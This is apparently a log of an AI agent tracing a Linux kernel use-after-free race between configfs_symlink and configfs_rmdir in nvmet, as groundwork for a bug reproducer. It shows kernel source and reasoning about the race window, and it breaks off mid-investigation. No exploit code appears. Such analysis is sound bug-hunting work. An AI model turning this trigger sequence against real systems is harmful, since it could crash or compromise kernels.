To investigate this further, my next logical step is to examine the implementation of `configfs_symlink`. This function is likely involved in creating the symlinks that form the configfs structure, and understanding how it manages parent-child relationships and potential removals will be key to uncovering whether this is indeed a race condition.


194/4 2026/08/26 18:27 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:configfs_symlink]

Results:
map[SourceCode: 135:	int configfs_symlink(struct mnt_idmap *idmap, struct inode *dir,
 136:			     struct dentry *dentry, const char *symname)
 137:	{
 138:		int ret;
 139:		struct configfs_dirent *sd;
 140:		struct config_item *parent_item;
 141:		struct config_item *target_item = NULL;
 142:		const struct config_item_type *type;
 143:	
 144:		sd = dentry->d_parent->d_fsdata;
 145:		/*
 146:		 * Fake invisibility if dir belongs to a group/default groups hierarchy
 147:		 * being attached
 148:		 */
 149:		if (!configfs_dirent_is_ready(sd))
 150:			return -ENOENT;
 151:	
 152:		parent_item = configfs_get_config_item(dentry->d_parent);
 153:		type = parent_item->ci_type;
 154:	
 155:		ret = -EPERM;
 156:		if (!type || !type->ct_item_ops ||
 157:		    !type->ct_item_ops->allow_link)
 158:			goto out_put;
 159:	
 160:		/*
 161:		 * This is really sick.  What they wanted was a hybrid of
 162:		 * link(2) and symlink(2) - they wanted the target resolved
 163:		 * at syscall time (as link(2) would've done), be a directory
 164:		 * (which link(2) would've refused to do) *AND* be a deep
 165:		 * fucking magic, making the target busy from rmdir POV.
 166:		 * symlink(2) is nothing of that sort, and the locking it
 167:		 * gets matches the normal symlink(2) semantics.  Without
 168:		 * attempts to resolve the target (which might very well
 169:		 * not even exist yet) done prior to locking the parent
 170:		 * directory.  This perversion, OTOH, needs to resolve
 171:		 * the target, which would lead to obvious deadlocks if
 172:		 * attempted with any directories locked.
 173:		 *
 174:		 * Unfortunately, that garbage is userland ABI and we should've
 175:		 * said "no" back in 2005.  Too late now, so we get to
 176:		 * play very ugly games with locking.
 177:		 *
 178:		 * Try *ANYTHING* of that sort in new code, and you will
 179:		 * really regret it.  Just ask yourself - what could a BOFH
 180:		 * do to me and do I want to find it out first-hand?
 181:		 *
 182:		 *  AV, a thoroughly annoyed bastard.
 183:		 */
 184:		inode_unlock(dir);
 185:		ret = get_target(symname, &target_item, dentry->d_sb);
 186:		inode_lock(dir);
 187:		if (ret)
 188:			goto out_put;
 189:	
 190:		if (dentry->d_inode || d_unhashed(dentry))
 191:			ret = -EEXIST;
 192:		else
 193:			ret = inode_permission(&nop_mnt_idmap, dir,
 194:					       MAY_WRITE | MAY_EXEC);
 195:		if (!ret)
 196:			ret = type->ct_item_ops->allow_link(parent_item, target_item);
 197:		if (!ret) {
 198:			mutex_lock(&configfs_symlink_mutex);
 199:			ret = create_link(parent_item, target_item, dentry);
 200:			mutex_unlock(&configfs_symlink_mutex);
 201:			if (ret && type->ct_item_ops->drop_link)
 202:				type->ct_item_ops->drop_link(parent_item,
 203:							     target_item);
 204:		}
 205:	
 206:		config_item_put(target_item);
 207:	
 208:	out_put:
 209:		config_item_put(parent_item);
 210:		return ret;
 211:	}
 SourceFile:fs/configfs/symlink.c]

195/4 2026/08/26 18:27 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11178
							output: 29
							thoughts: 140
						

Thoughts:
**My Thought Process on `configfs_symlink` and Potential Race Conditions**

Okay, so I'm looking at the `configfs_symlink` function, and my immediate concern is about locking. I notice that at line 184, the `inode_lock(dir)` is released. This is immediately followed by a call to `get_target`, and then, importantly, the `inode_lock(dir)` is re-acquired. This window, where the directory lock is *not* held, is precisely where things could go wrong.

My mind immediately jumps to what could happen to the `dir` itself during that unlocked period. I realize that `dir` in this context refers to the `subsystems` directory. Now, if someone were to try and remove this `subsystems` directory – which is usually a default group within a "port" directory in configfs – through `rmdir`, that operation would indeed remove the entire port directory, including its default groups like `subsystems`.

So, the critical path I'm envisioning is this: `configfs_symlink` drops its lock, and *during that brief unlocked interval*, `rmdir` is invoked on the parent port directory. When `rmdir` is called on the port directory, it will trigger `configfs_rmdir` to handle the removal. This is where the race condition would manifest: `configfs_symlink` is trying to perform an operation within a directory that is simultaneously being deleted. I need to examine `configfs_rmdir` to understand the implications of this deletion happening while `configfs_symlink` is in its critical unlocked section.


196/4 2026/08/26 18:27 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:configfs_rmdir]

Results:
map[SourceCode:1469:	static int configfs_rmdir(struct inode *dir, struct dentry *dentry)
1470:	{
1471:		struct config_item *parent_item;
1472:		struct config_item *item;
1473:		struct configfs_subsystem *subsys;
1474:		struct configfs_dirent *sd;
1475:		struct configfs_fragment *frag;
1476:		struct module *subsys_owner = NULL, *dead_item_owner = NULL;
1477:		int ret;
1478:	
1479:		sd = dentry->d_fsdata;
1480:		if (sd->s_type & CONFIGFS_USET_DEFAULT)
1481:			return -EPERM;
1482:	
1483:		/* Get a working ref until we have the child */
1484:		parent_item = configfs_get_config_item(dentry->d_parent);
1485:		subsys = to_config_group(parent_item)->cg_subsys;
1486:		BUG_ON(!subsys);
1487:	
1488:		if (!parent_item->ci_type) {
1489:			config_item_put(parent_item);
1490:			return -EINVAL;
1491:		}
1492:	
1493:		/* configfs_mkdir() shouldn't have allowed this */
1494:		BUG_ON(!subsys->su_group.cg_item.ci_type);
1495:		subsys_owner = subsys->su_group.cg_item.ci_type->ct_owner;
1496:	
1497:		/*
1498:		 * Ensure that no racing symlink() will make detach_prep() fail while
1499:		 * the new link is temporarily attached
1500:		 */
1501:		do {
1502:			struct dentry *wait;
1503:	
1504:			mutex_lock(&configfs_symlink_mutex);
1505:			spin_lock(&configfs_dirent_lock);
1506:			/*
1507:			 * Here's where we check for dependents.  We're protected by
1508:			 * configfs_dirent_lock.
1509:			 * If no dependent, atomically tag the item as dropping.
1510:			 */
1511:			ret = sd->s_dependent_count ? -EBUSY : 0;
1512:			if (!ret) {
1513:				ret = configfs_detach_prep(sd, &wait);
1514:				if (ret)
1515:					configfs_detach_rollback(sd);
1516:			}
1517:			spin_unlock(&configfs_dirent_lock);
1518:			mutex_unlock(&configfs_symlink_mutex);
1519:	
1520:			if (ret) {
1521:				if (ret != -EAGAIN) {
1522:					config_item_put(parent_item);
1523:					return ret;
1524:				}
1525:	
1526:				/* Wait until the racing operation terminates */
1527:				inode_lock(d_inode(wait));
1528:				inode_unlock(d_inode(wait));
1529:				dput(wait);
1530:			}
1531:		} while (ret == -EAGAIN);
1532:	
1533:		frag = sd->s_frag;
1534:		if (down_write_killable(&frag->frag_sem)) {
1535:			spin_lock(&configfs_dirent_lock);
1536:			configfs_detach_rollback(sd);
1537:			spin_unlock(&configfs_dirent_lock);
1538:			config_item_put(parent_item);
1539:			return -EINTR;
1540:		}
1541:		frag->frag_dead = true;
1542:		up_write(&frag->frag_sem);
1543:	
1544:		/* Get a working ref for the duration of this function */
1545:		item = configfs_get_config_item(dentry);
1546:	
1547:		/* Drop reference from above, item already holds one. */
1548:		config_item_put(parent_item);
1549:	
1550:		if (item->ci_type)
1551:			dead_item_owner = item->ci_type->ct_owner;
1552:	
1553:		if (sd->s_type & CONFIGFS_USET_DIR) {
1554:			configfs_detach_group(dentry);
1555:	
1556:			mutex_lock(&subsys->su_mutex);
1557:			client_disconnect_notify(parent_item, item);
1558:			unlink_group(to_config_group(item));
1559:		} else {
1560:			configfs_detach_item(dentry);
1561:	
1562:			mutex_lock(&subsys->su_mutex);
1563:			client_disconnect_notify(parent_item, item);
1564:			unlink_obj(item);
1565:		}
1566:	
1567:		client_drop_item(parent_item, item);
1568:		mutex_unlock(&subsys->su_mutex);
1569:	
1570:		/* Drop our reference from above */
1571:		config_item_put(item);
1572:	
1573:		module_put(dead_item_owner);
1574:		module_put(subsys_owner);
1575:	
1576:		return 0;
1577:	}
 SourceFile:fs/configfs/dir.c]

197/4 2026/08/26 18:27 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12952
							output: 32
							thoughts: 225
						

Thoughts:
**My Thought Process Regarding `configfs_symlink` and Potential Race Conditions**

I've been looking closely at the `configfs_symlink` function, specifically at this snippet:

```c
	parent_item = configfs_get_config_item(dentry->d_parent);
	type = parent_item->ci_type;
```

My understanding is that `parent_item` here represents the `subsystems` directory within the configfs hierarchy. This seems to be the crucial context.

Following this, the code releases `inode_lock(dir)` and proceeds to call `get_target`. This unlock is where my concern arises. While `get_target` is executing, another process could potentially call `rmdir` on the port directory.

Now, let's trace what `rmdir` would do. It calls `configfs_rmdir`, and the critical action there is that `configfs_rmdir` detaches the port directory and any default groups associated with it, including `subsystems`. This detachment operation itself decrements the reference count on the port directory. If this was the last reference, the port directory would be freed.

However, I have a lingering question: What about the `parent_item` (the `subsystems` directory)? It was obtained earlier using `configfs_get_config_item(dentry->d_parent)`. This operation, as I recall, increments the reference count on the parent item, which is indeed the `subsystems` directory. So, `parent_item` *does* hold a valid reference to the `subsystems` directory.

The real question is: Does the `parent_item` (the `subsystems` directory item) itself hold a reference to its parent, which in this case is the port directory? If it does, then even after `configfs_rmdir` decrements the port directory's reference count, `parent_item` would still maintain a reference, preventing the port directory from being prematurely freed.

To confirm this, I need to delve into the implementation of `configfs_get_config_item` and how it manages reference counts for parent-child relationships within the configfs structure. That's my next step to ensure I'm not missing a subtle race condition here.


198/4 2026/08/26 18:27 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:configfs_get_config_item]

Results:
map[SourceCode: 120:	static inline struct config_item *configfs_get_config_item(struct dentry *dentry)
 121:	{
 122:		struct config_item * item = NULL;
 123:	
 124:		spin_lock(&dentry->d_lock);
 125:		if (!d_unhashed(dentry)) {
 126:			struct configfs_dirent * sd = dentry->d_fsdata;
 127:			item = config_item_get(sd->s_element);
 128:		}
 129:		spin_unlock(&dentry->d_lock);
 130:	
 131:		return item;
 132:	}
 SourceFile:fs/configfs/configfs_internal.h]

199/4 2026/08/26 18:27 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13416
							output: 29
							thoughts: 59
						

Thoughts:
**My Thought Process Regarding `config_item_get` and its Relationship Management**

Okay, so when I see `config_item_get` being called, my immediate thought is about reference counting. I know it increments the reference count of the `config_item` it's operating on. This is standard practice for managing object lifetimes, especially in environments where objects might be shared or have multiple consumers.

The next, and perhaps more critical, question that pops into my head is: does `config_item` itself maintain a reference to its parent? This is a crucial piece of information for understanding the overall structure and how navigation or deallocation might work within the configuration system. If it *does* hold a parent reference, that implies a hierarchical structure where each child knows its parent, which has significant implications for traversal, cleanup, and potential cyclic dependencies.

To answer that, I'd be looking to dive into the implementation details. My first instinct would be to examine functions like `config_item_init_type_name` or similar initialization routines. These are prime candidates for establishing parent-child relationships during object creation. Alternatively, I might look back at `config_item_get` itself, though initialization is usually where parent linkage is first forged. If `config_item_get` were involved in *establishing* the parent link, that would be an unusual design, but still something to consider. Ultimately, I need to trace how a `config_item` gets its parent reference (or confirm that it doesn't) to fully grasp the implications of its lifecycle and how it interacts with the broader configuration tree.


200/4 2026/08/26 18:27 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:config_item_get]

Results:
map[SourceCode: 101:	struct config_item *config_item_get(struct config_item *item)
 102:	{
 103:		if (item)
 104:			kref_get(&item->ci_kref);
 105:		return item;
 106:	}
 SourceFile:fs/configfs/item.c]

201/4 2026/08/26 18:27 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13596
							output: 30
							thoughts: 894
						

Thoughts:
**Understanding the UAF in NVMe-TCP Configuration**

I've been digging into a rather insidious use-after-free (UAF) vulnerability within the NVMe-TCP configuration framework, and I think I've finally pieced together the exact sequence of events that triggers it. It all boils down to how reference counts are handled, specifically with parent items and their default groups.

Here's the core of the problem as I see it: The `config_item_get` function, which is used to acquire a reference to a configuration item, *only* increments the reference count of the item itself (`item->ci_kref`). Crucially, it *does not* increment the reference count of the parent item.

Now, consider a scenario where `parent_item` represents a default group, like `subsystems`. In this case, `parent_item->ci_parent` points to the port directory. The vulnerability arises when this port directory is removed. When it's removed, its reference count drops to zero and it gets freed. However, `parent_item` (the `subsystems` group) remains alive because `configfs_symlink` holds a separate reference to it.

The plot thickens when `configfs_symlink` proceeds to call the `allow_link` operation for the parent item and the target item. Within `nvmet_port_subsys_allow_link`, there's an access to `parent->ci_parent` to get the `struct nvmet_port`. The disaster strikes here: if the port directory has already been freed, this access is attempting to dereference a freed pointer – a classic UAF.

The race condition that triggers this is quite specific. I can visualize it like this:

*   **Thread 1 (Symlink Creation):** Attempts to create a symbolic link using `symlink("...", "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1")`.
*   **Thread 2 (Directory Removal):** Attempts to remove the directory `/sys/kernel/config/nvmet/ports/1`.

Let's trace the execution flow with this race:

1.  **Thread 1** enters `configfs_symlink`. It successfully identifies `parent_item` (which is the `subsystems` group). At this point, it drops the `inode_lock(dir)` for the directory.
2.  **Thread 2** enters `configfs_rmdir` for the `/sys/kernel/config/nvmet/ports/1` directory. It proceeds to detach `ports/1` and its associated default groups. Importantly, it decrements the reference count for `ports/1`. If this was the last reference, `ports/1` is now freed.
3.  **Thread 1** re-acquires the `inode_lock(dir)`. It then proceeds to call `allow_link(parent_item, target_item)`.
4.  Inside `allow_link`, specifically within `nvmet_port_subsys_allow_link`, the code attempts to access `parent_item->ci_parent`. Since `parent_item` is the `subsystems` group and its `ci_parent` was pointing to the now-freed `ports/1` directory, this results in the UAF.

I've been thinking about the previous reproducer I had, which involved looping `symlink` and `unlink` in one thread and `mkdir` and `rmdir` in another. My initial thought was that if `rmdir` occurred while `symlink` was in progress, `rmdir` might fail with `ENOTEMPTY` if the symlink was already created. However, I now realize the race is more subtle and happens *during* the symlink creation process itself.

If `mkdir` is called, it creates `ports/1`. Then, the `symlink` operation begins. This `symlink` operation *requires* the `ports/1/subsystems` directory to exist, which it does by default when `ports/1` is created. The critical point is that the `symlink` operation might *fail* to find `ports/1/subsystems` if `rmdir` has already removed it by the time the symlink code checks for its existence.

Therefore, the key to reproducing this is to aggressively create and remove the `ports/1` directory in one thread, while simultaneously attempting to create a symlink within its default `subsystems` group in another thread.

I also questioned whether `rmdir` on `ports/1` would fail if `ports/1/subsystems` wasn't empty. This led me to consider if `configfs_rmdir` would actually fail if there were user-created items inside default groups. The race condition I've identified circumvents this by ensuring the default group's parent is freed *before* the `allow_link` callback tries to access it. The `rmdir` operation is specifically targeting `ports/1`, and if its reference count drops to zero, it will be freed, regardless of whether user-created items *exist* within its default groups at that exact moment. The crucial part is that `parent_item->ci_parent` points to the *structure representing* the port directory, which is what gets freed.


202/4 2026/08/26 18:28 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:configfs_detach_prep]

Results:
map[SourceCode: 494:	/*
 495:	 * Only subdirectories count here.  Files (CONFIGFS_NOT_PINNED) are
 496:	 * attributes and are removed by rmdir().  We recurse, setting
 497:	 * CONFIGFS_USET_DROPPING on all children that are candidates for
 498:	 * default detach.
 499:	 * If there is an error, the caller will reset the flags via
 500:	 * configfs_detach_rollback().
 501:	 */
 502:	static int configfs_detach_prep(struct configfs_dirent *parent_sd, struct dentry **wait)
 503:	{
 504:		struct configfs_dirent *sd;
 505:		int ret;
 506:	
 507:		/* Mark that we're trying to drop the group */
 508:		parent_sd->s_type |= CONFIGFS_USET_DROPPING;
 509:	
 510:		ret = -EBUSY;
 511:		if (parent_sd->s_links)
 512:			goto out;
 513:	
 514:		ret = 0;
 515:		list_for_each_entry(sd, &parent_sd->s_children, s_sibling) {
 516:			if (!sd->s_element ||
 517:			    (sd->s_type & CONFIGFS_NOT_PINNED))
 518:				continue;
 519:			if (sd->s_type & CONFIGFS_USET_DEFAULT) {
 520:				/* Abort if racing with mkdir() */
 521:				if (sd->s_type & CONFIGFS_USET_IN_MKDIR) {
 522:					if (wait)
 523:						*wait= dget(sd->s_dentry);
 524:					return -EAGAIN;
 525:				}
 526:	
 527:				/*
 528:				 * Yup, recursive.  If there's a problem, blame
 529:				 * deep nesting of default_groups
 530:				 */
 531:				ret = configfs_detach_prep(sd, wait);
 532:				if (!ret)
 533:					continue;
 534:			} else
 535:				ret = -ENOTEMPTY;
 536:	
 537:			break;
 538:		}
 539:	
 540:	out:
 541:		return ret;
 542:	}
 SourceFile:fs/configfs/dir.c]

203/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15228
							output: 27
							thoughts: 222
						

Thoughts:
**My Thought Process Regarding the ConfigFS Race Condition**

Alright, so I've been digging into this configuration filesystem (configfs) interaction, and I think I've pinpointed a rather nasty race condition. My understanding is that `configfs_detach_prep` is designed to prevent removal if there are any non-default items present – specifically, things like the symlink we're creating. This means that if my `symlink` operation completes successfully, any subsequent attempt to `rmdir` will naturally fail with `-ENOTEMPTY` until the symlink is explicitly `unlink`ed. That part makes sense.

However, the real problem arises in the timing. The race occurs when a `rmdir` operation is initiated *while* the `symlink` operation is still in progress. At that precise moment, the symlink hasn't actually created its target item yet. Because of this, `configfs_detach_prep` (which is called by `rmdir` indirectly, I presume) won't detect any "extra" items and will happily succeed. Then, `rmdir` will proceed to free the associated port. The issue then escalates when the `symlink` operation resumes its execution. It will call `allow_link`, and this is where the crash happens.

Now, a crucial question pops into my mind: if `rmdir` *does* succeed and removes `ports/1`, what happens to the `parent->ci_parent` pointer when `symlink` resumes and calls `allow_link`? I need to verify if `parent->ci_parent` is indeed cleared or invalidated as part of the `ports/1` removal process, likely within `configfs_detach_item` or `unlink_group`. This will be the key to understanding why `allow_link` is crashing.


204/4 2026/08/26 18:28 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:unlink_group]

Results:
map[SourceCode: 805:	static void unlink_group(struct config_group *group)
 806:	{
 807:		struct config_group *new_group;
 808:	
 809:		list_for_each_entry(new_group, &group->default_groups, group_entry)
 810:			unlink_group(new_group);
 811:	
 812:		group->cg_subsys = NULL;
 813:		unlink_obj(&group->cg_item);
 814:	}
 SourceFile:fs/configfs/dir.c]

205/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15632
							output: 27
							thoughts: 6
						

Thoughts:
**My Thought Process on `unlink_obj`**

Okay, so I'm looking at this function, `unlink_obj`. My immediate instinct, given its name, is that it's about removing or detaching something from a larger structure or system. "Unlink" strongly suggests breaking a connection.

The `_obj` suffix, to me, implies we're dealing with an object, likely in a programming context. This isn't just a generic "unlink" operation; it's specifically targeting an object. This means I need to consider what kind of object it is, its state, and what "unlinking" means for *this particular object*.

My mind immediately goes to several possibilities:

*   **Memory Management:** Is this function responsible for freeing up the memory associated with an object? If so, it's a critical part of preventing memory leaks. I'd be thinking about whether it handles reference counting or garbage collection, or if it's a manual deallocation.
*   **Data Structure Manipulation:** Is the object part of a linked list, a tree, a graph, or some other data structure? If so, `unlink_obj` would be responsible for updating the pointers or references of adjacent nodes to maintain the integrity of the structure. This is a core operation in many algorithms.
*   **Resource Management:** Could the "object" represent a more abstract resource, like a file handle, a network connection, or a device handle? In this case, "unlinking" would mean closing, releasing, or otherwise deallocating that resource cleanly. This is vital for preventing resource exhaustion.
*   **State Management:** Perhaps the object is in a particular state within a larger system, and "unlinking" means transitioning it out of that state, or removing it from a list of active objects.

The simplicity of the name `unlink_obj` is intriguing. It suggests a focused, perhaps low-level operation. I'd expect it to be efficient. My next step would be to dive into the function's signature and its implementation to understand the specifics. What arguments does it take? Does it return anything? What are the preconditions and postconditions?

Ultimately, my mental model is one of a precise, targeted removal or disconnection. I'm thinking about the potential side effects – what happens to the object itself, and what happens to whatever it was linked *to*? Is this a destructive operation, or does it just sever the connection, leaving the object intact but isolated? The nuances of that will be key.


206/4 2026/08/26 18:28 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:unlink_obj]

Results:
map[SourceCode: 764:	static void unlink_obj(struct config_item *item)
 765:	{
 766:		struct config_group *group;
 767:	
 768:		group = item->ci_group;
 769:		if (group) {
 770:			list_del_init(&item->ci_entry);
 771:	
 772:			item->ci_group = NULL;
 773:			item->ci_parent = NULL;
 774:	
 775:			/* Drop the reference for ci_entry */
 776:			config_item_put(item);
 777:	
 778:			/* Drop the reference for ci_parent */
 779:			config_group_put(group);
 780:		}
 781:	}
 SourceFile:fs/configfs/dir.c]

207/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15900
							output: 30
							thoughts: 72
						

Thoughts:
**My Realization:**

I just had a moment of clarity regarding the `unlink_obj` function. My thought process went something like this: "Ah! So `unlink_obj` is setting `item->ci_parent` to `NULL`! Now, if `item->ci_parent` is `NULL`, then when we call `to_nvmet_port(parent->ci_parent)`, we're actually going to be calling `to_nvmet_port(NULL)`." This immediately struck me as a potential issue, especially given the definition of `to_nvmet_port` which I'm also considering.


208/4 2026/08/26 18:28 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:to_nvmet_port]

Results:
map[SourceCode: 225:	static inline struct nvmet_port *to_nvmet_port(struct config_item *item)
 226:	{
 227:		return container_of(to_config_group(item), struct nvmet_port,
 228:				group);
 229:	}
 SourceFile:drivers/nvme/target/nvmet.h]

209/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16096
							output: 29
							thoughts: 233
						

Thoughts:
**My Thought Process Unraveling the KASAN UAF in `nvmet_port_subsys_allow_link`**

Okay, let me walk through my reasoning here. Initially, I encountered a KASAN slab-use-after-free report specifically within the `nvmet_port_subsys_allow_link` function. The report indicated a read of 8 bytes at address `ffff88801af304c8`. My first instinct, given the context and the common pattern in such bugs, was to investigate potential null pointer dereferences or, more specifically, use-after-free scenarios related to object lifetimes.

I immediately recalled the `to_config_group(item)` macro, which I know is defined as `container_of(item, struct config_group, cg_item)`. This macro is fundamental for navigating the configfs structure, allowing us to get the parent `config_group` from a child item. My immediate thought was, "Could `nvmet_port_subsys_allow_link` be calling `to_nvmet_port(NULL)` or something similar that might lead to a bad pointer?"

Then, a critical realization struck me: if `to_nvmet_port(NULL)` were to be called (which internally likely uses `container_of` on a `NULL` pointer derived from the `NULL` argument), it wouldn't necessarily result in a UAF *on a freed object*. Instead, `container_of` with a `NULL` base pointer would yield a negative offset relative to that `NULL` pointer. This would typically manifest as a page fault when the kernel tries to access memory at that negative address, not a KASAN UAF pointing to a valid, albeit freed, slab object.

This distinction is crucial. The KASAN report *specifically* points to a UAF on a slab object. The buggy address, `ffff88801af304c8`, is located within a 4096-byte object starting at `ffff88801af30000`. The offset within this object is 1224. If `parent->ci_parent` (a field I suspect is involved in the `container_of` calculation) were `NULL`, the derived address would be in the negative address space (i.e., `-1224` relative to the base of the `config_group`'s `cg_item`), leading to a page fault, not a KASAN slab UAF.

Therefore, the fact that KASAN is reporting a UAF on a *valid slab object* strongly implies that the pointer derived from `container_of` is *not* negative. This means `parent->ci_parent` *cannot* be `NULL`. This contradicts the initial hypothesis that a `NULL` `ci_parent` was the root cause.

My next step, then, is to revisit `configfs_rmdir`. This is where objects are typically removed, and it's the most likely place where a `config_group` might have its `ci_parent` cleared or its own memory reclaimed, potentially leading to a dangling pointer in a concurrently executing function like `nvmet_port_subsys_allow_link`. I need to meticulously trace the lifecycle of `struct config_group` objects and their `ci_parent` pointers within the context of `configfs_rmdir` to understand how a non-NULL `ci_parent` could still lead to a use-after-free scenario. The key is to figure out why `parent->ci_parent` isn't `NULL` when it *should* be, or why the object it points to is being freed prematurely.


210/4 2026/08/26 18:28 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:configfs_rmdir]

Results:
map[SourceCode:1469:	static int configfs_rmdir(struct inode *dir, struct dentry *dentry)
1470:	{
1471:		struct config_item *parent_item;
1472:		struct config_item *item;
1473:		struct configfs_subsystem *subsys;
1474:		struct configfs_dirent *sd;
1475:		struct configfs_fragment *frag;
1476:		struct module *subsys_owner = NULL, *dead_item_owner = NULL;
1477:		int ret;
1478:	
1479:		sd = dentry->d_fsdata;
1480:		if (sd->s_type & CONFIGFS_USET_DEFAULT)
1481:			return -EPERM;
1482:	
1483:		/* Get a working ref until we have the child */
1484:		parent_item = configfs_get_config_item(dentry->d_parent);
1485:		subsys = to_config_group(parent_item)->cg_subsys;
1486:		BUG_ON(!subsys);
1487:	
1488:		if (!parent_item->ci_type) {
1489:			config_item_put(parent_item);
1490:			return -EINVAL;
1491:		}
1492:	
1493:		/* configfs_mkdir() shouldn't have allowed this */
1494:		BUG_ON(!subsys->su_group.cg_item.ci_type);
1495:		subsys_owner = subsys->su_group.cg_item.ci_type->ct_owner;
1496:	
1497:		/*
1498:		 * Ensure that no racing symlink() will make detach_prep() fail while
1499:		 * the new link is temporarily attached
1500:		 */
1501:		do {
1502:			struct dentry *wait;
1503:	
1504:			mutex_lock(&configfs_symlink_mutex);
1505:			spin_lock(&configfs_dirent_lock);
1506:			/*
1507:			 * Here's where we check for dependents.  We're protected by
1508:			 * configfs_dirent_lock.
1509:			 * If no dependent, atomically tag the item as dropping.
1510:			 */
1511:			ret = sd->s_dependent_count ? -EBUSY : 0;
1512:			if (!ret) {
1513:				ret = configfs_detach_prep(sd, &wait);
1514:				if (ret)
1515:					configfs_detach_rollback(sd);
1516:			}
1517:			spin_unlock(&configfs_dirent_lock);
1518:			mutex_unlock(&configfs_symlink_mutex);
1519:	
1520:			if (ret) {
1521:				if (ret != -EAGAIN) {
1522:					config_item_put(parent_item);
1523:					return ret;
1524:				}
1525:	
1526:				/* Wait until the racing operation terminates */
1527:				inode_lock(d_inode(wait));
1528:				inode_unlock(d_inode(wait));
1529:				dput(wait);
1530:			}
1531:		} while (ret == -EAGAIN);
1532:	
1533:		frag = sd->s_frag;
1534:		if (down_write_killable(&frag->frag_sem)) {
1535:			spin_lock(&configfs_dirent_lock);
1536:			configfs_detach_rollback(sd);
1537:			spin_unlock(&configfs_dirent_lock);
1538:			config_item_put(parent_item);
1539:			return -EINTR;
1540:		}
1541:		frag->frag_dead = true;
1542:		up_write(&frag->frag_sem);
1543:	
1544:		/* Get a working ref for the duration of this function */
1545:		item = configfs_get_config_item(dentry);
1546:	
1547:		/* Drop reference from above, item already holds one. */
1548:		config_item_put(parent_item);
1549:	
1550:		if (item->ci_type)
1551:			dead_item_owner = item->ci_type->ct_owner;
1552:	
1553:		if (sd->s_type & CONFIGFS_USET_DIR) {
1554:			configfs_detach_group(dentry);
1555:	
1556:			mutex_lock(&subsys->su_mutex);
1557:			client_disconnect_notify(parent_item, item);
1558:			unlink_group(to_config_group(item));
1559:		} else {
1560:			configfs_detach_item(dentry);
1561:	
1562:			mutex_lock(&subsys->su_mutex);
1563:			client_disconnect_notify(parent_item, item);
1564:			unlink_obj(item);
1565:		}
1566:	
1567:		client_drop_item(parent_item, item);
1568:		mutex_unlock(&subsys->su_mutex);
1569:	
1570:		/* Drop our reference from above */
1571:		config_item_put(item);
1572:	
1573:		module_put(dead_item_owner);
1574:		module_put(subsys_owner);
1575:	
1576:		return 0;
1577:	}
 SourceFile:fs/configfs/dir.c]

211/4 2026/08/26 18:28 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 17963
							output: 28
							thoughts: 441
						

Thoughts:
**Unraveling a Potential NULL Pointer Dereference in `nvmet_port_subsys_allow_link`**

My initial thought process here is driven by a deep concern about a potential null pointer dereference, specifically within the context of unlinking a group and its implications for parent pointers. I'm tracing the execution flow of `unlink_group` and its interaction with `unlink_obj`.

I first noticed that `unlink_group` calls `unlink_obj(&group->cg_item)`. My understanding is that `unlink_obj` is responsible for setting `item->ci_parent = NULL`. This is where my first alarm bell rings: if the `item` being unlinked represents a port directory, and its `ci_parent` becomes `NULL`, what happens to its parent?

Then, I realized I was being a bit too hasty in my initial assessment of *which* `item` `unlink_group` was called on. I initially thought it was *only* called on the port directory itself and *not* on the default groups. However, a closer look at the `unlink_group` implementation revealed this loop:

```c
	list_for_each_entry(new_group, &group->default_groups, group_entry)
		unlink_group(new_group);
```

This clearly indicates that `unlink_group` *is* recursively called on the default groups. For each of these default groups, `unlink_obj(&new_group->cg_item)` is executed, which, as I noted, sets `item->ci_parent = NULL`.

This recursive unlinking is where the real problem emerges. If `item->ci_parent` is set to `NULL` during this process, then `parent->ci_parent` would also become `NULL`. Now, I need to clarify what `parent` refers to in this context. My current understanding is that `parent` in `nvmet_port_subsys_allow_link` is specifically the `subsystems` group.

Therefore, if `unlink_group` is invoked on the `subsystems` group, it would set `subsystems->ci_parent = NULL`. This `NULL` value is then passed to `to_nvmet_port()`.

The crucial part here is `to_nvmet_port`. I'm examining its definition:
`container_of(to_config_group(item), struct nvmet_port, group)`
And `to_config_group` is:
`container_of(item, struct config_group, cg_item)`.

So, `to_nvmet_port(NULL)` effectively becomes `container_of(container_of(NULL, struct config_group, cg_item), struct nvmet_port, group)`. This operation, at its core, involves subtracting certain offsets from a `NULL` pointer. My next step is to meticulously examine the specific offsets involved in these `container_of` operations to understand precisely how `NULL` is manipulated and whether this leads to undefined behavior or a crash. I need to be absolutely sure about the size and layout of `struct config_group` and `struct nvmet_port` to confirm the outcome.


212/4 2026/08/26 18:28 tool codesearch-struct-layout
0m Args:
map[ContextFile: Name:nvmet_port]

Results:
